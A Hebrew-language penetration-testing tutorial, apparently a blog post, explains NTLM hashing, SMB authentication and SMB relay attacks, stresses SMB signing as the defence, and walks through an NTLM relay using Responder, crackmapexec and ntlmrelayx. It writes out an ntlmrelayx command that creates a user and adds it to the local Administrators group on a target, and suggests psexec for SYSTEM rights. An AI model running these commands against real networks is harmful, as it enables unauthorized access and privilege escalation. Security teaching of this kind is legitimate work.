אז רציתי לשתף אתכם במתקפה שרוב Penetration Testers משתמשים ורוב החברות נופלות בה, נקראת NtlmRelayx.
המתקפה גם קשורה לשירות הקבצים SMB ולכן אסביר גם עליה ואיך המתקפה SMBRelay עובדת גם כן.
הבהרה
מדריך זה לתוכן לימודי בלבד, אינני אחראי לכל דברים שתעשו עם התוכן המלומד. כעת אתחיל מהבסיס.
מהו NTLM?
מאז Windows 2000 קיים עוד סוג של גיבוב אשר נמצא בשימוש ע”י Lan Manager, נקרא NTLM – New Technology Lan Manager. השיטה בעצם היא השימוש בשיטת גיבוב ידועה בשם MD4. הסיסמה שלנו מוזמנת כקלט לפונקציה ובעצם שבה אלינו במחרוזת שונה לחלוטין במחרוזת של 32 תווים בUnicode, בשיטה הזאת ניתן להשתמש עד 127 תווים וזוהי המגבלה שלו.
כיצד נראה NTLM?
הפרמטרים המרכיבים NTLM:
סה”כ מורכב ה-NLTM מארבעת הפרמטרים הבאים:
- משתמש
- קבוצה שהמשתמש נמצא בה
- LM Hash
- NTLM Hash
וכך אפשר להבין שהוא מורכב מהLM Hash הישן. היום משתמשים יותר בNTLM, בסביבת Active Directory היום משתמשים בKerberos, אבל בDefault ברגע שאנחנו מתקינים מערכת הפעלה, הNTLM תמיד יהיה שם כי זה הפרוטוקול שאנחנו היום עובדים בו על מנת לבצע אוטנטיקציה.
איך מתבצעת התחברות באמצעות SMB?
- תחילה המחשב מנסה לקבל גישה לשרת הקבצים באמצעות שירות הSMB.
- לאחר מכן מנסה המחשב המתחבר להחליט יחד עם השרת על גרסת הSMB שישתמשו בה עבור השיחה.
- המחשב המתחבר מנסה לבצע אימות מול שרת הקבצים.
- שרת הקבצים מחזיר לצד המתחבר מידע שעליו להצפין עם הHash של הסיסמה שלו.
- ניתנת גישה לעמדה, אם שרת המדפסות מצליח לפענח את המידע המוצפן באמצעות הHash שברשותו.
במתקפת SMBRELAY, התוקף נכנס באמצע ההתקפה ומבצע את השלבים הבאים:
- מזייף את כתובת הIP של שרת הקבצים וגורם למחשב שמנסה להתחבר לשרת הקבצים לשלוח את בקשת ההתחברות למחשב התוקף.
- המחשב התוקף מעביר את הבקשה לשרת הקבצים, אחר כך השרת יחזיר למחשב התוקף אתגר ויבקש מהמחשב התוקף להצפין מידע כלשהו.
- התוקף מחזיר את המידע חזרה למחשב שמנסה להתחבר אליו כדי שיבצע את ההצפנה בשבילו.
- לאחר קבלת המידע המוצפן, התוקף מעביר את המידע הזה לשרת הקבצים ובכך מקבל גישה.
במתקפת SMBRelayx אנו תוקפים רק עמדה אחת בלבד לעומת NtlmRelayx שהוא תוקף את כלל הרשת. Signing SMB הוא מנגנון הגנה המונע התערבות ושינוי של שיחות SMB בין מחשבים. המנגנון מייצר HASH לנתוני הSMB שמועברים ומצרף את זה לפקטה. במידה והחתימה של הHASH לא תואמת את נתוני הSMB בתחנת הקצה, תחנת הקצה יכולה לדעת שחיבלו בנתוני הSMB המקוריים ולהתעלם מהפקטה. בשביל לדעת האם מנגנון signing SMB פועל, נשתמש בcrackmapexec.
חשוב לציין!
היעדר שימוש במנגנון זה חושף את הארגון להתקפות MITM – Man In The Middle. ומאפשר לבצע “חטיפה” של החיבור המשותף בין שני מחשבים ברשת על בסיס שימוש פרוטוקול SMB. התוקף יכולה לקבל, לעצור ולשלוח מידע חזרה למשתמש מבלי שהאחרון יידע כלל על התערבותו.
כעת נתחיל בהתקפה!
קודם כל ולפני הכל נוריד Responder חדש לגמרי כדי שלא ניגע בהגדרות הDefault של הResponder המובנה בלינוקס. נוריד את Responder מGitHub:
ונוריד את הכלי אל מכונת הקאלי שלנו. איך? פשוט וקל:
git clone https://github.com/SpiderLabs/Responder
וכעת ניכנס אל התיקייה ונשנה את הגדרת הResponder המשני שלנו בResponder.conf כך:
נבצע מיפוי לרשת (כדי לגלות אילו מחשבים מחוברים אל אותו הרשת שלנו) עם crackmapexec:
ניתן לראות שWindows 7 פגיע, משום שSMBv1:True כל המחשבים צריכים להיות על False על מנת להיות מוגנים! וגם ניתן לראות שהSigning של windows server על true מה שאומר זה שאי אפשר לחבל בSMB. מה שלעומת PC2 וPC3 הsigning שלהם על false מה שאומר שאפשר לחבל בSMB.
כעת נדליק את הResponder:
וכעת נדליק את הntlmrelayx שיצור לנו משתמש אדמין לוקאלי בDomain Controller:
הפקודה הולכת כך:
python3 ntlmrelayx.py -ip 0.0.0.0 -t rpc://IP -smb2support -c “netuser [username] [password] /add && net localgroup Administrators [username] /add”
וכעת ניכנס אל עמדה מסוימת (PC2) לצורך הדוגמה ונזין בRun:
ויהיה ניתן לראות כי הצלחנו לפתוח משתמש חדש בשם ntlmuser בווינדוס 10!
הוכחה לכך שבאמת התווצר לנו משתמש, ניכנס אל הWindows Server ונבדוק זאת:
הוכחה להרשאות:
וכאן אתם יכולים להתחבר דרך RPC אל המשתמש שפתחתם ואתם בהרשאות של אדמין לוקאלי. תרצו להגיע להרשאות גבוהות יותר של NT Authority System? תריצו psexec.
חשוב לדעת שרוב החברות נופלות במתקפה הזו!
קישור ל-Linkedin: עידן מליחי